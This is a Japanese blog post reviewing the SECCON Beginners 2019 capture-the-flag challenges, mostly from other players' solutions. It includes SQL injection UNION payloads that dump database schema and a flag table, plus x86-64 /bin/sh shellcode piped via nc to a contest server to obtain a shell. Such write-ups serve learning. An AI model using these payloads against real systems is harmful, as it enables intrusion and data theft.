【SECCON for Beginners2019】復習
昨年に引き続き..
今年も参加しました。今年はBornOn21
というチームで167/666
位という結果でした。正直僕はほぼ貢献できてないです(去年より難しくなってた?)。なのでWriteUpという見出しは使わないで、もう完全に他の方の解き方を見て復習する記事にします。特に自分が解こうとして解けなかった問題をここに残します。
参考サイト
今回は備忘録なのでこちらの参考サイトさんを見てくださいね。
注意
WriteUp
じゃないですからね。
[Reversing] Seccompare
コマンドライン引数とフラグをstrcmp
で比較している感じ。radare2
で開いたら比べる文字が見えるので、そのまま解けます。
ctf4b{5tr1ngs_1s_n0t_en0ugh}
[Web] Ramen
店員と一言を検索するフォームがあり、そこにSQLインジェクションの脆弱性があるようです。UNION
句ではカラムの数を同じにしなければエラーになるんですね。SQLに弱いので勉強になりました。
' UNION SELECT table_name,column_name FROM Information_schema.COLUMNS; # ' UNION SELECT 1, flag FROM flag; #
僕はテーブル名を調べるときにこんな感じでやりましたが、上の方がスマートですね。
a' or '1'='1' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE') --
[Web] Katsudon
問題文。
Rails 5.2.1で作られたサイトです。 https://katsudon.quals.beginners.seccon.jp クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。 フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag # app/controllers/coupon_controller.rb class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code) end end
で、表示されるflag
は下になります。
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
問題文を見た感じ、message_verifier
をいじるのかと思いましたが、渡されたフラグの前半部分をbase64
でデコードするだけでした。。。
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
Rails
のプロジェクト作って実際に走らせたりと色々迷走しました。
[Crypto] So Tired
初めはbase64
の文字列が渡されるのでデコードし、それをfile
コマンドで調べるとzlib
形式で圧縮されている事がわかるそうです。簡単なデコードは下のコマンドでできます。
base64 -d encrypted.txt > out.txt
import zlib import base64 data = open("encrypted.txt").read() while True: data = base64.b64decode(data) print(data) # どちらで答えが出るかわからない data = zlib.decompress(data) print(data)
[Misc] containers
foremost
で渡されたdataを解析したら、下の画像が出てきました。これ、正しい解法なのでしょうか?
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
[Pwnable] shellcoder
送ったシェルコードをそのまま実行してくれるらしいのですが、binsh
の文字が入っているものは排除されるらしいです。
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
Linux/x86-64 - Execute /bin/sh - 27 bytes
root@kali:~/Downloads/seccon4b2019# echo -en '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' > shell.bin root@kali:~/Downloads/seccon4b2019# hexdump -C shell.bin 00000000 31 c0 48 bb d1 9d 96 91 d0 8c 97 ff 48 f7 db 53 |1.H.........H..S| 00000010 54 5f 99 52 57 54 5e b0 3b 0f 05 |T_.RWT^.;..| 0000001b root@kali:~/Downloads/seccon4b2019# root@kali:~/Downloads/seccon4b2019# cat shell.bin - | nc 153.120.129.186 20000 Are you shellcoder? ls flag.txt shellcoder cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
[Web] Dump
作者さんの解法 takahoyo.hatenablog.com
最後に
全く歯が立たなかった。。